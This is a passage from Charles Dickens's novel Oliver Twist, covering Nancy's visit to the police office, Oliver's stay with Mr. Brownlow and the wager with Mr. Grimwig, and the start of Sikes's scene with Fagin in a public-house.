me afore company, are you? Lie down!' + +This command was accompanied with a kick, which sent the animal +to the other end of the room. He appeared well used to it, +however; for he coiled himself up in a corner very quietly, +without uttering a sound, and winking his very ill-looking eyes +twenty times in a minute, appeared to occupy himself in taking a +survey of the apartment. + +'What are you up to? Ill-treating the boys, you covetous, +avaricious, in-sa-ti-a-ble old fence?' said the man, seating +himself deliberately. 'I wonder they don't murder you! I would +if I was them. If I'd been your 'prentice, I'd have done it long +ago, and--no, I couldn't have sold you afterwards, for you're fit +for nothing but keeping as a curiousity of ugliness in a glass +bottle, and I suppose they don't blow glass bottles large +enough.' + +'Hush! hush! Mr. Sikes,' said the Jew, trembling; 'don't speak so +loud!' + +'None of your mistering,' replied the ruffian; 'you always mean +mischief when you come that. You know my name: out with it! I +shan't disgrace it when the time comes.' + +'Well, well, then--Bill Sikes,' said the Jew, with abject +humility. 'You seem out of humour, Bill.' + +'Perhaps I am,' replied Sikes; 'I should think you was rather out +of sorts too, unless you mean as little harm when you throw +pewter pots about, as you do when you blab and--' + +'Are you mad?' said the Jew, catching the man by the sleeve, and +pointing towards the boys. + +Mr. Sikes contented himself with tying an imaginary knot under +his left ear, and jerking his head over on the right shoulder; a +piece of dumb show which the Jew appeared to understand +perfectly. He then, in cant terms, with which his whole +conversation was plentifully besprinkled, but which would be +quite unintelligible if they were recorded here, demanded a glass +of liquor. + +'And mind you don't poison it,' said Mr. Sikes, laying his hat +upon the table. + +This was said in jest; but if the speaker could have seen the +evil leer with which the Jew bit his pale lip as he turned round +to the cupboard, he might have thought the caution not wholly +unnecessary, or the wish (at all events) to improve upon the +distiller's ingenuity not very far from the old gentleman's merry +heart. + +After swallowing two of three glasses of spirits, Mr. Sikes +condescended to take some notice of the young gentlemen; which +gracious act led to a conversation, in which the cause and manner +of Oliver's capture were circumstantially detailed, with such +alterations and improvements on the truth, as to the Dodger +appeared most advisable under the circumstances. + +'I'm afraid,' said the Jew, 'that he may say something which will +get us into trouble.' + +'That's very likely,' returned Sikes with a malicious grin. +'You're blowed upon, Fagin.' + +'And I'm afraid, you see,' added the Jew, speaking as if he had +not noticed the interruption; and regarding the other closely as +he did so,--'I'm afraid that, if the game was up with us, it +might be up with a good many more, and that it would come out +rather worse for you than it would for me, my dear.' + +The man started, and turned round upon the Jew. But the old +gentleman's shoulders were shrugged up to his ears; and his eyes +were vacantly staring on the opposite wall. + +There was a long pause. Every member of the respectable coterie +appeared plunged in his own reflections; not excepting the dog, +who by a certain malicious licking of his lips seemed to be +meditating an attack upon the legs of the first gentleman or lady +he might encounter in the streets when he went out. + +'Somebody must find out wot's been done at the office,' said Mr. +Sikes in a much lower tone than he had taken since he came in. + +The Jew nodded assent. + +'If he hasn't peached, and is committed, there's no fear till he +comes out again,' said Mr. Sikes, 'and then he must be taken care +on. You must get hold of him somehow.' + +Again the Jew nodded. + +The prudence of this line of action, indeed, was obvious; but, +unfortunately, there was one very strong objection to its being +adopted. This was, that the Dodger, and Charley Bates, and +Fagin, and Mr. William Sikes, happened, one and all, to entertain +a violent and deeply-rooted antipathy to going near a +police-office on any ground or pretext whatever. + +How long they might have sat and looked at each other, in a state +of uncertainty not the most pleasant of its kind, it is difficult +to guess. It is not necessary to make any guesses on the +subject, however; for the sudden entrance of the two young ladies +whom Oliver had seen on a former occasion, caused the +conversation to flow afresh. + +'The very thing!' said the Jew. 'Bet will go; won't you, my +dear?' + +'Wheres?' inquired the young lady. + +'Only just up to the office, my dear,' said the Jew coaxingly. + +It is due to the young lady to say that she did not positively +affirm that she would not, but that she merely expressed an +emphatic and earnest desire to be 'blessed' if she would; a +polite and delicate evasion of the request, which shows the young +lady to have been possessed of that natural good breeding which +cannot bear to inflict upon a fellow-creature, the pain of a +direct and pointed refusal. + +The Jew's countenance fell. He turned from this young lady, who +was gaily, not to say gorgeously attired, in a red gown, green +boots, and yellow curl-papers, to the other female. + +'Nancy, my dear,' said the Jew in a soothing manner, 'what do YOU +say?' + +'That it won't do; so it's no use a-trying it on, Fagin,' replied +Nancy. + +'What do you mean by that?' said Mr. Sikes, looking up in a surly +manner. + +'What I say, Bill,' replied the lady collectedly. + +'Why, you're just the very person for it,' reasoned Mr. Sikes: +'nobody about here knows anything of you.' + +'And as I don't want 'em to, neither,' replied Nancy in the same +composed manner, 'it's rather more no than yes with me, Bill.' + +'She'll go, Fagin,' said Sikes. + +'No, she won't, Fagin,' said Nancy. + +'Yes, she will, Fagin,' said Sikes. + +And Mr. Sikes was right. By dint of alternate threats, promises, +and bribes, the lady in question was ultimately prevailed upon to +undertake the commission. She was not, indeed, withheld by the +same considerations as her agreeable friend; for, having recently +removed into the neighborhood of Field Lane from the remote but +genteel suburb of Ratcliffe, she was not under the same +apprehension of being recognised by any of her numerous +acquaintances. + +Accordingly, with a clean white apron tied over her gown, and her +curl-papers tucked up under a straw bonnet,--both articles of +dress being provided from the Jew's inexhaustible stock,--Miss +Nancy prepared to issue forth on her errand. + +'Stop a minute, my dear,' said the Jew, producing, a little +covered basket. 'Carry that in one hand. It looks more +respectable, my dear.' + +'Give her a door-key to carry in her t'other one, Fagin,' said +Sikes; 'it looks real and genivine like.' + +'Yes, yes, my dear, so it does,' said the Jew, hanging a large +street-door key on the forefinger of the young lady's right hand. + +'There; very good! Very good indeed, my dear!' said the Jew, +rubbing his hands. + +'Oh, my brother! My poor, dear, sweet, innocent little brother!' +exclaimed Nancy, bursting into tears, and wringing the little +basket and the street-door key in an agony of distress. 'What +has become of him! Where have they taken him to! Oh, do have +pity, and tell me what's been done with the dear boy, gentlemen; +do, gentlemen, if you please, gentlemen!' + +Having uttered those words in a most lamentable and heart-broken +tone: to the immeasurable delight of her hearers: Miss Nancy +paused, winked to the company, nodded smilingly round, and +disappeared. + +'Ah, she's a clever girl, my dears,' said the Jew, turning round +to his young friends, and shaking his head gravely, as if in mute +admonition to them to follow the bright example they had just +beheld. + +'She's a honour to her sex,' said Mr. Sikes, filling his glass, +and smiting the table with his enormous fist. 'Here's her +health, and wishing they was all like her!' + +While these, and many other encomiums, were being passed on the +accomplished Nancy, that young lady made the best of her way to +the police-office; whither, notwithstanding a little natural +timidity consequent upon walking through the streets alone and +unprotected, she arrived in perfect safety shortly afterwards. + +Entering by the back way, she tapped softly with the key at one +of the cell-doors, and listened. There was no sound within: so +she coughed and listened again. Still there was no reply: so +she spoke. + +'Nolly, dear?' murmured Nancy in a gentle voice; 'Nolly?' + +There was nobody inside but a miserable shoeless criminal, who +had been taken up for playing the flute, and who, the offence +against society having been clearly proved, had been very +properly committed by Mr. Fang to the House of Correction for one +month; with the appropriate and amusing remark that since he had +so much breath to spare, it would be more wholesomely expended on +the treadmill than in a musical instrument. He made no answer: +being occupied mentally bewailing the loss of the flute, which +had been confiscated for the use of the county: so Nancy passed +on to the next cell, and knocked there. + +'Well!' cried a faint and feeble voice. + +'Is there a little boy here?' inquired Nancy, with a preliminary +sob. + +'No,' replied the voice; 'God forbid.' + +This was a vagrant of sixty-five, who was going to prison for _not_ +playing the flute; or, in other words, for begging in the +streets, and doing nothing for his livelihood. In the next cell +was another man, who was going to the same prison for hawking tin +saucepans without license; thereby doing something for his +living, in defiance of the Stamp-office. + +But, as neither of these criminals answered to the name of +Oliver, or knew anything about him, Nancy made straight up to the +bluff officer in the striped waistcoat; and with the most piteous +wailings and lamentations, rendered more piteous by a prompt and +efficient use of the street-door key and the little basket, +demanded her own dear brother. + +'I haven't got him, my dear,' said the old man. + +'Where is he?' screamed Nancy, in a distracted manner. + +'Why, the gentleman's got him,' replied the officer. + +'What gentleman! Oh, gracious heavens! What gentleman?' +exclaimed Nancy. + +In reply to this incoherent questioning, the old man informed the +deeply affected sister that Oliver had been taken ill in the +office, and discharged in consequence of a witness having proved +the robbery to have been committed by another boy, not in +custody; and that the prosecutor had carried him away, in an +insensible condition, to his own residence: of and concerning +which, all the informant knew was, that it was somewhere in +Pentonville, he having heard that word mentioned in the +directions to the coachman. + +In a dreadful state of doubt and uncertainty, the agonised young +woman staggered to the gate, and then, exchanging her faltering +walk for a swift run, returned by the most devious and +complicated route she could think of, to the domicile of the Jew. + +Mr. Bill Sikes no sooner heard the account of the expedition +delivered, than he very hastily called up the white dog, and, +putting on his hat, expeditiously departed: without devoting any +time to the formality of wishing the company good-morning. + +'We must know where he is, my dears; he must be found,' said the +Jew greatly excited. 'Charley, do nothing but skulk about, till +you bring home some news of him! Nancy, my dear, I must have him +found. I trust to you, my dear,--to you and the Artful for +everything! Stay, stay,' added the Jew, unlocking a drawer with +a shaking hand; 'there's money, my dears. I shall shut up this +shop to-night. You'll know where to find me! Don't stop here a +minute. Not an instant, my dears!' + +With these words, he pushed them from the room: and carefully +double-locking and barring the door behind them, drew from its +place of concealment the box which he had unintentionally +disclosed to Oliver. Then, he hastily proceeded to dispose the +watches and jewellery beneath his clothing. + +A rap at the door startled him in this occupation. 'Who's +there?' he cried in a shrill tone. + +'Me!' replied the voice of the Dodger, through the key-hole. + +'What now?' cried the Jew impatiently. + +'Is he to be kidnapped to the other ken, Nancy says?' inquired +the Dodger. + +'Yes,' replied the Jew, 'wherever she lays hands on him. Find +him, find him out, that's all. I shall know what to do next; +never fear.' + +The boy murmured a reply of intelligence: and hurried downstairs +after his companions. + +'He has not peached so far,' said the Jew as he pursued his +occupation. 'If he means to blab us among his new friends, we +may stop his mouth yet.' + + + + +CHAPTER XIV + +COMPRISING FURTHER PARTICULARS OF OLIVER'S STAY AT MR. +BROWNLOW'S, WITH THE REMARKABLE PREDICTION WHICH ONE MR. GRIMWIG +UTTERED CONCERNING HIM, WHEN HE WENT OUT ON AN ERRAND + +Oliver soon recovering from the fainting-fit into which Mr. +Brownlow's abrupt exclamation had thrown him, the subject of the +picture was carefully avoided, both by the old gentleman and Mrs. +Bedwin, in the conversation that ensued: which indeed bore no +reference to Oliver's history or prospects, but was confined to +such topics as might amuse without exciting him. He was still +too weak to get up to breakfast; but, when he came down into the +housekeeper's room next day, his first act was to cast an eager +glance at the wall, in the hope of again looking on the face of +the beautiful lady. His expectations were disappointed, however, +for the picture had been removed. + +'Ah!' said the housekeeper, watching the direction of Oliver's +eyes. 'It is gone, you see.' + +'I see it is ma'am,' replied Oliver. 'Why have they taken it +away?' + +'It has been taken down, child, because Mr. Brownlow said, that +as it seemed to worry you, perhaps it might prevent your getting +well, you know,' rejoined the old lady. + +'Oh, no, indeed. It didn't worry me, ma'am,' said Oliver. 'I +liked to see it. I quite loved it.' + +'Well, well!' said the old lady, good-humouredly; 'you get well +as fast as ever you can, dear, and it shall be hung up again. +There! I promise you that! Now, let us talk about something +else.' + +This was all the information Oliver could obtain about the +picture at that time. As the old lady had been so kind to him in +his illness, he endeavoured to think no more of the subject just +then; so he listened attentively to a great many stories she told +him, about an amiable and handsome daughter of hers, who was +married to an amiable and handsome man, and lived in the country; +and about a son, who was clerk to a merchant in the West Indies; +and who was, also, such a good young man, and wrote such dutiful +letters home four times a-year, that it brought the tears into +her eyes to talk about them. When the old lady had expatiated, a +long time, on the excellences of her children, and the merits of +her kind good husband besides, who had been dead and gone, poor +dear soul! just six-and-twenty years, it was time to have tea. +After tea she began to teach Oliver cribbage: which he learnt as +quickly as she could teach: and at which game they played, with +great interest and gravity, until it was time for the invalid to +have some warm wine and water, with a slice of dry toast, and +then to go cosily to bed. + +They were happy days, those of Oliver's recovery. Everything was +so quiet, and neat, and orderly; everybody so kind and gentle; +that after the noise and turbulence in the midst of which he had +always lived, it seemed like Heaven itself. He was no sooner +strong enough to put his clothes on, properly, than Mr. Brownlow +caused a complete new suit, and a new cap, and a new pair of +shoes, to be provided for him. As Oliver was told that he might +do what he liked with the old clothes, he gave them to a servant +who had been very kind to him, and asked her to sell them to a +Jew, and keep the money for herself. This she very readily did; +and, as Oliver looked out of the parlour window, and saw the Jew +roll them up in his bag and walk away, he felt quite delighted to +think that they were safely gone, and that there was now no +possible danger of his ever being able to wear them again. They +were sad rags, to tell the truth; and Oliver had never had a new +suit before. + +One evening, about a week after the affair of the picture, as he +was sitting talking to Mrs. Bedwin, there came a message down +from Mr. Brownlow, that if Oliver Twist felt pretty well, he +should like to see him in his study, and talk to him a little +while. + +'Bless us, and save us! Wash your hands, and let me part your +hair nicely for you, child,' said Mrs. Bedwin. 'Dear heart +alive! If we had known he would have asked for you, we would +have put you a clean collar on, and made you as smart as +sixpence!' + +Oliver did as the old lady bade him; and, although she lamented +grievously, meanwhile, that there was not even time to crimp the +little frill that bordered his shirt-collar; he looked so +delicate and handsome, despite that important personal advantage, +that she went so far as to say: looking at him with great +complacency from head to foot, that she really didn't think it +would have been possible, on the longest notice, to have made +much difference in him for the better. + +Thus encouraged, Oliver tapped at the study door. On Mr. +Brownlow calling to him to come in, he found himself in a little +back room, quite full of books, with a window, looking into some +pleasant little gardens. There was a table drawn up before the +window, at which Mr. Brownlow was seated reading. When he saw +Oliver, he pushed the book away from him, and told him to come +near the table, and sit down. Oliver complied; marvelling where +the people could be found to read such a great number of books as +seemed to be written to make the world wiser. Which is still a +marvel to more experienced people than Oliver Twist, every day of +their lives. + +'There are a good many books, are there not, my boy?' said Mr. +Brownlow, observing the curiosity with which Oliver surveyed the +shelves that reached from the floor to the ceiling. + +'A great number, sir,' replied Oliver. 'I never saw so many.' + +'You shall read them, if you behave well,' said the old gentleman +kindly; 'and you will like that, better than looking at the +outsides,--that is, some cases; because there are books of which +the backs and covers are by far the best parts.' + +'I suppose they are those heavy ones, sir,' said Oliver, pointing +to some large quartos, with a good deal of gilding about the +binding. + +'Not always those,' said the old gentleman, patting Oliver on the +head, and smiling as he did so; 'there are other equally heavy +ones, though of a much smaller size. How should you like to grow +up a clever man, and write books, eh?' + +'I think I would rather read them, sir,' replied Oliver. + +'What! wouldn't you like to be a book-writer?' said the old +gentleman. + +Oliver considered a little while; and at last said, he should +think it would be a much better thing to be a book-seller; upon +which the old gentleman laughed heartily, and declared he had +said a very good thing. Which Oliver felt glad to have done, +though he by no means knew what it was. + +'Well, well,' said the old gentleman, composing his features. +'Don't be afraid! We won't make an author of you, while there's +an honest trade to be learnt, or brick-making to turn to.' + +'Thank you, sir,' said Oliver. At the earnest manner of his +reply, the old gentleman laughed again; and said something about +a curious instinct, which Oliver, not understanding, paid no very +great attention to. + +'Now,' said Mr. Brownlow, speaking if possible in a kinder, but +at the same time in a much more serious manner, than Oliver had +ever known him assume yet, 'I want you to pay great attention, my +boy, to what I am going to say. I shall talk to you without any +reserve; because I am sure you are well able to understand me, as +many older persons would be.' + +'Oh, don't tell you are going to send me away, sir, pray!' +exclaimed Oliver, alarmed at the serious tone of the old +gentleman's commencement! 'Don't turn me out of doors to wander +in the streets again. Let me stay here, and be a servant. Don't +send me back to the wretched place I came from. Have mercy upon +a poor boy, sir!' + +'My dear child,' said the old gentleman, moved by the warmth of +Oliver's sudden appeal; 'you need not be afraid of my deserting +you, unless you give me cause.' + +'I never, never will, sir,' interposed Oliver. + +'I hope not,' rejoined the old gentleman. 'I do not think you +ever will. I have been deceived, before, in the objects whom I +have endeavoured to benefit; but I feel strongly disposed to +trust you, nevertheless; and I am more interested in your behalf +than I can well account for, even to myself. The persons on whom +I have bestowed my dearest love, lie deep in their graves; but, +although the happiness and delight of my life lie buried there +too, I have not made a coffin of my heart, and sealed it up, +forever, on my best affections. Deep affliction has but +strengthened and refined them.' + +As the old gentleman said this in a low voice: more to himself +than to his companion: and as he remained silent for a short +time afterwards: Oliver sat quite still. + +'Well, well!' said the old gentleman at length, in a more +cheerful tone, 'I only say this, because you have a young heart; +and knowing that I have suffered great pain and sorrow, you will +be more careful, perhaps, not to wound me again. You say you are +an orphan, without a friend in the world; all the inquiries I +have been able to make, confirm the statement. Let me hear your +story; where you come from; who brought you up; and how you got +into the company in which I found you. Speak the truth, and you +shall not be friendless while I live.' + +Oliver's sobs checked his utterance for some minutes; when he was +on the point of beginning to relate how he had been brought up at +the farm, and carried to the workhouse by Mr. Bumble, a +peculiarly impatient little double-knock was heard at the +street-door: and the servant, running upstairs, announced Mr. +Grimwig. + +'Is he coming up?' inquired Mr. Brownlow. + +'Yes, sir,' replied the servant. 'He asked if there were any +muffins in the house; and, when I told him yes, he said he had +come to tea.' + +Mr. Brownlow smiled; and, turning to Oliver, said that Mr. +Grimwig was an old friend of his, and he must not mind his being +a little rough in his manners; for he was a worthy creature at +bottom, as he had reason to know. + +'Shall I go downstairs, sir?' inquired Oliver. + +'No,' replied Mr. Brownlow, 'I would rather you remained here.' + +At this moment, there walked into the room: supporting himself +by a thick stick: a stout old gentleman, rather lame in one leg, +who was dressed in a blue coat, striped waistcoat, nankeen +breeches and gaiters, and a broad-brimmed white hat, with the +sides turned up with green. A very small-plaited shirt frill +stuck out from his waistcoat; and a very long steel watch-chain, +with nothing but a key at the end, dangled loosely below it. The +ends of his white neckerchief were twisted into a ball about the +size of an orange; the variety of shapes into which his +countenance was twisted, defy description. He had a manner of +screwing his head on one side when he spoke; and of looking out +of the corners of his eyes at the same time: which irresistibly +reminded the beholder of a parrot. In this attitude, he fixed +himself, the moment he made his appearance; and, holding out a +small piece of orange-peel at arm's length, exclaimed, in a +growling, discontented voice. + +'Look here! do you see this! Isn't it a most wonderful and +extraordinary thing that I can't call at a man's house but I find +a piece of this poor surgeon's friend on the staircase? I've been +lamed with orange-peel once, and I know orange-peel will be my +death, or I'll be content to eat my own head, sir!' + +This was the handsome offer with which Mr. Grimwig backed and +confirmed nearly every assertion he made; and it was the more +singular in his case, because, even admitting for the sake of +argument, the possibility of scientific improvements being +brought to that pass which will enable a gentleman to eat his own +head in the event of his being so disposed, Mr. Grimwig's head +was such a particularly large one, that the most sanguine man +alive could hardly entertain a hope of being able to get through +it at a sitting--to put entirely out of the question, a very +thick coating of powder. + +'I'll eat my head, sir,' repeated Mr. Grimwig, striking his stick +upon the ground. 'Hallo! what's that!' looking at Oliver, and +retreating a pace or two. + +'This is young Oliver Twist, whom we were speaking about,' said +Mr. Brownlow. + +Oliver bowed. + +'You don't mean to say that's the boy who had the fever, I hope?' +said Mr. Grimwig, recoiling a little more. 'Wait a minute! +Don't speak! Stop--' continued Mr. Grimwig, abruptly, losing all +dread of the fever in his triumph at the discovery; 'that's the +boy who had the orange! If that's not the boy, sir, who had the +orange, and threw this bit of peel upon the staircase, I'll eat +my head, and his too.' + +'No, no, he has not had one,' said Mr. Brownlow, laughing. +'Come! Put down your hat; and speak to my young friend.' + +'I feel strongly on this subject, sir,' said the irritable old +gentleman, drawing off his gloves. 'There's always more or less +orange-peel on the pavement in our street; and I _know_ it's put +there by the surgeon's boy at the corner. A young woman stumbled +over a bit last night, and fell against my garden-railings; +directly she got up I saw her look towards his infernal red lamp +with the pantomime-light. "Don't go to him," I called out of the +window, "he's an assassin! A man-trap!" So he is. If he is +not--' Here the irascible old gentleman gave a great knock on +the ground with his stick; which was always understood, by his +friends, to imply the customary offer, whenever it was not +expressed in words. Then, still keeping his stick in his hand, he +sat down; and, opening a double eye-glass, which he wore attached +to a broad black riband, took a view of Oliver: who, seeing that +he was the object of inspection, coloured, and bowed again. + +'That's the boy, is it?' said Mr. Grimwig, at length. + +'That's the boy,' replied Mr. Brownlow. + +'How are you, boy?' said Mr. Grimwig. + +'A great deal better, thank you, sir,' replied Oliver. + +Mr. Brownlow, seeming to apprehend that his singular friend was +about to say something disagreeable, asked Oliver to step +downstairs and tell Mrs. Bedwin they were ready for tea; which, +as he did not half like the visitor's manner, he was very happy +to do. + +'He is a nice-looking boy, is he not?' inquired Mr. Brownlow. + +'I don't know,' replied Mr. Grimwig, pettishly. + +'Don't know?' + +'No. I don't know. I never see any difference in boys. I only +knew two sort of boys. Mealy boys, and beef-faced boys.' + +'And which is Oliver?' + +'Mealy. I know a friend who has a beef-faced boy; a fine boy, +they call him; with a round head, and red cheeks, and glaring +eyes; a horrid boy; with a body and limbs that appear to be +swelling out of the seams of his blue clothes; with the voice of +a pilot, and the appetite of a wolf. I know him! The wretch!' + +'Come,' said Mr. Brownlow, 'these are not the characteristics of +young Oliver Twist; so he needn't excite your wrath.' + +'They are not,' replied Mr. Grimwig. 'He may have worse.' + +Here, Mr. Brownlow coughed impatiently; which appeared to afford +Mr. Grimwig the most exquisite delight. + +'He may have worse, I say,' repeated Mr. Grimwig. 'Where does he +come from! Who is he? What is he? He has had a fever. What of +that? Fevers are not peculiar to good people; are they? Bad +people have fevers sometimes; haven't they, eh? I knew a man who +was hung in Jamaica for murdering his master. He had had a fever +six times; he wasn't recommended to mercy on that account. Pooh! +nonsense!' + +Now, the fact was, that in the inmost recesses of his own heart, +Mr. Grimwig was strongly disposed to admit that Oliver's +appearance and manner were unusually prepossessing; but he had a +strong appetite for contradiction, sharpened on this occasion by +the finding of the orange-peel; and, inwardly determining that no +man should dictate to him whether a boy was well-looking or not, +he had resolved, from the first, to oppose his friend. When Mr. +Brownlow admitted that on no one point of inquiry could he yet +return a satisfactory answer; and that he had postponed any +investigation into Oliver's previous history until he thought the +boy was strong enough to hear it; Mr. Grimwig chuckled +maliciously. And he demanded, with a sneer, whether the +housekeeper was in the habit of counting the plate at night; +because if she didn't find a table-spoon or two missing some +sunshiny morning, why, he would be content to--and so forth. + +All this, Mr. Brownlow, although himself somewhat of an impetuous +gentleman: knowing his friend's peculiarities, bore with great +good humour; as Mr. Grimwig, at tea, was graciously pleased to +express his entire approval of the muffins, matters went on very +smoothly; and Oliver, who made one of the party, began to feel +more at his ease than he had yet done in the fierce old +gentleman's presence. + +'And when are you going to hear a full, true, and particular +account of the life and adventures of Oliver Twist?' asked +Grimwig of Mr. Brownlow, at the conclusion of the meal; looking +sideways at Oliver, as he resumed his subject. + +'To-morrow morning,' replied Mr. Brownlow. 'I would rather he +was alone with me at the time. Come up to me to-morrow morning +at ten o'clock, my dear.' + +'Yes, sir,' replied Oliver. He answered with some hesitation, +because he was confused by Mr. Grimwig's looking so hard at him. + +'I'll tell you what,' whispered that gentleman to Mr. Brownlow; +'he won't come up to you to-morrow morning. I saw him hesitate. +He is deceiving you, my good friend.' + +'I'll swear he is not,' replied Mr. Brownlow, warmly. + +'If he is not,' said Mr. Grimwig, 'I'll--' and down went the +stick. + +'I'll answer for that boy's truth with my life!' said Mr. +Brownlow, knocking the table. + +'And I for his falsehood with my head!' rejoined Mr. Grimwig, +knocking the table also. + +'We shall see,' said Mr. Brownlow, checking his rising anger. + +'We will,' replied Mr. Grimwig, with a provoking smile; 'we +will.' + +As fate would have it, Mrs. Bedwin chanced to bring in, at this +moment, a small parcel of books, which Mr. Brownlow had that +morning purchased of the identical bookstall-keeper, who has +already figured in this history; having laid them on the table, +she prepared to leave the room. + +'Stop the boy, Mrs. Bedwin!' said Mr. Brownlow; 'there is +something to go back.' + +'He has gone, sir,' replied Mrs. Bedwin. + +'Call after him,' said Mr. Brownlow; 'it's particular. He is a +poor man, and they are not paid for. There are some books to be +taken back, too.' + +The street-door was opened. Oliver ran one way; and the girl ran +another; and Mrs. Bedwin stood on the step and screamed for the +boy; but there was no boy in sight. Oliver and the girl +returned, in a breathless state, to report that there were no +tidings of him. + +'Dear me, I am very sorry for that,' exclaimed Mr. Brownlow; 'I +particularly wished those books to be returned to-night.' + +'Send Oliver with them,' said Mr. Grimwig, with an ironical +smile; 'he will be sure to deliver them safely, you know.' + +'Yes; do let me take them, if you please, sir,' said Oliver. +'I'll run all the way, sir.' + +The old gentleman was just going to say that Oliver should not go +out on any account; when a most malicious cough from Mr. Grimwig +determined him that he should; and that, by his prompt discharge +of the commission, he should prove to him the injustice of his +suspicions: on this head at least: at once. + +'You _shall_ go, my dear,' said the old gentleman. 'The books are +on a chair by my table. Fetch them down.' + +Oliver, delighted to be of use, brought down the books under his +arm in a great bustle; and waited, cap in hand, to hear what +message he was to take. + +'You are to say,' said Mr. Brownlow, glancing steadily at +Grimwig; 'you are to say that you have brought those books back; +and that you have come to pay the four pound ten I owe him. This +is a five-pound note, so you will have to bring me back, ten +shillings change.' + +'I won't be ten minutes, sir,' said Oliver, eagerly. Having +buttoned up the bank-note in his jacket pocket, and placed the +books carefully under his arm, he made a respectful bow, and left +the room. Mrs. Bedwin followed him to the street-door, giving +him many directions about the nearest way, and the name of the +bookseller, and the name of the street: all of which Oliver said +he clearly understood. Having superadded many injunctions to be +sure and not take cold, the old lady at length permitted him to +depart. + +'Bless his sweet face!' said the old lady, looking after him. 'I +can't bear, somehow, to let him go out of my sight.' + +At this moment, Oliver looked gaily round, and nodded before he +turned the corner. The old lady smilingly returned his +salutation, and, closing the door, went back to her own room. + +'Let me see; he'll be back in twenty minutes, at the longest,' +said Mr. Brownlow, pulling out his watch, and placing it on the +table. 'It will be dark by that time.' + +'Oh! you really expect him to come back, do you?' inquired Mr. +Grimwig. + +'Don't you?' asked Mr. Brownlow, smiling. + +The spirit of contradiction was strong in Mr. Grimwig's breast, +at the moment; and it was rendered stronger by his friend's +confident smile. + +'No,' he said, smiting the table with his fist, 'I do not. The +boy has a new suit of clothes on his back, a set of valuable +books under his arm, and a five-pound note in his pocket. He'll +join his old friends the thieves, and laugh at you. If ever that +boy returns to this house, sir, I'll eat my head.' + +With these words he drew his chair closer to the table; and there +the two friends sat, in silent expectation, with the watch +between them. + +It is worthy of remark, as illustrating the importance we attach +to our own judgments, and the pride with which we put forth our +most rash and hasty conclusions, that, although Mr. Grimwig was +not by any means a bad-hearted man, and though he would have been +unfeignedly sorry to see his respected friend duped and deceived, +he really did most earnestly and strongly hope at that moment, +that Oliver Twist might not come back. + +It grew so dark, that the figures on the dial-plate were scarcely +discernible; but there the two old gentlemen continued to sit, in +silence, with the watch between them. + + + + +CHAPTER XV + +SHOWING HOW VERY FOND OF OLIVER TWIST, THE MERRY OLD JEW AND MISS +NANCY WERE + +In the obscure parlour of a low public-house, in the filthiest +part of Little Saffron Hill; a dark and gloomy den, where a +flaring gas-light burnt all day in the winter-time; and where no +ray of sun ever shone in the summer: there sat, brooding over a +little pewter measure and a small glass, strongly impregnated +with the smell of liquor, a man in a velveteen coat, drab shorts, +half-boots and stockings, whom even by that dim light no +experienced agent of the police would have hesitated to recognise +as Mr. William Sikes. At his feet, sat a white-coated, red-eyed +dog; who occupied himself, alternately, in winking at his master +with both eyes at the same time; and in licking a large, fresh +cut on one side of his mouth, which appeared to be the result of +some recent conflict. + +'Keep quiet, you warmint! Keep quiet!' said Mr. Sikes, suddenly +breaking silence. Whether his meditations were so intense as to +be disturbed by the dog's winking, or whether his feelings were +so wrought upon by his reflections that they required all the +relief derivable from kicking an unoffending animal to allay +them, is matter for argument and consideration. Whatever was the +cause, the effect was a kick and a curse, bestowed upon the dog +simultaneously. + +Dogs are not generally apt to revenge injuries inflicted upon +them by their masters; but Mr. Sikes's dog, having faults of +temper in common with his owner, and labouring, perhaps, at this +moment, under a powerful sense of injury, made no more ado but at +once fixed his teeth in one of the half-boots. Having given in a +hearty shake, he retired, growling, under a form; just escaping +the pewter measure which Mr. Sikes levelled at his head. + +'You would, would you?' said Sikes, seizing the poker in one +hand, and deliberately opening with the other a large +clasp-knife, which he drew from his pocket. 'Come here, you born +devil! Come here! D'ye hear?' + +The dog no doubt heard; because Mr. Sikes spoke in the very +harshest key of a very harsh voice; but, appearing to entertain +some unaccountable objection to having his throat cut, he +remained where he was, and growled more fiercely than before: at +the same time grasping the end of the poker between his teeth, +and biting at it like a wild beast. + +This resistance only infuriated Mr. Sikes the more; who, dropping +on his knees, began to assail the animal most furiously. The dog +jumped from right to left, and from left to right; snapping, +growling, and barking; the man thrust and swore, and struck and +blasphemed; and the struggle was reaching a most critical point +for one or other; when, the door suddenly opening, the dog darted +out: leaving Bill Sikes with the poker and the clasp-knife in +his hands. + +There must always be two parties to a quarrel, says the old +adage. Mr. Sikes, being disappointed of the dog's participation, +at once transferred his share in the quarrel to the new comer. + +'What the devil do you come in between me and my dog for?' said +Sikes, with a fierce gesture. + +'I didn't know, my dear, I didn't know,' replied Fagin, humbly; +for the Jew was the new comer. + +'Didn't know, you white-livered thief!' growled Sikes. 'Couldn't +you hear the noise?' + +'Not a sound of it, as I'm a living man, Bill,' replied the Jew. + +'Oh no! You hear nothing, you don't,' retorted Sikes with a +fierce sneer. 'Sneaking in and out, so as nobody hears how you +come or go! I wish you had been the dog, Fagin, half a minute +ago.' + +'Why?' inquired the Jew with a forced smile. + +'Cause the government, as cares for the lives of such men as you, +as haven't half the pluck of curs, lets a man kill a dog how he +likes,' replied Sikes, shutting up the knife with a very +expressive look; 'that's why.' + +The Jew rubbed his hands; and, sitting down at the table, +affected to laugh at the pleasantry of his friend. He was +obviously very ill at ease, however. + +'Grin away,' said Sikes, replacing the poker, and surveying him +with savage contempt; 'grin away. You'll never have the laugh at +me, though, unless it's behind a nightcap. I've got the upper +hand over you, Fagin; and, d--me, I'll keep it. There! If I go, +you go; so take care of me.' + +'Well, well, my dear,' said the Jew, 'I know all that; +we--we--have a mutual interest, Bill,--a mutual interest.' + +'Humph,' said Sikes, as if he thought the interest lay rather more +on the Jew's side than on his. 'Well, what have you got to say +to me?' + +'It's all passed safe through the melting-pot,' replied Fagin, +'and this is your share. It's rather more than it ought to be, +my dear; but as I know you'll do me a good turn another time, +and--' + +'Stow that gammon,' interposed the robber, impatiently. 'Where is +it? Hand over!' + +'Yes, yes, Bill; give me time, give me time,' replied the Jew, +soothingly. 'Here it is! All safe!' As he spoke, he drew forth +an old cotton handkerchief from his breast; and untying a large +knot in one corner, produced a small brown-paper packet. Sikes, +snatching it from him, hastily opened it; and proceeded to count +the sovereigns it contained. + +'This is all, is it?' inquired Sikes. + +'All,' replied the Jew. + +'You haven't opened the parcel and swallowed one or two as you +come along, have you?' inquired Sikes, suspiciously. 'Don't put +on an injured look at the question; you've done it many a time. +Jerk the tinkler.' + +These words, in plain English, conveyed an injunction to ring the +bell. It was answered by another Jew: 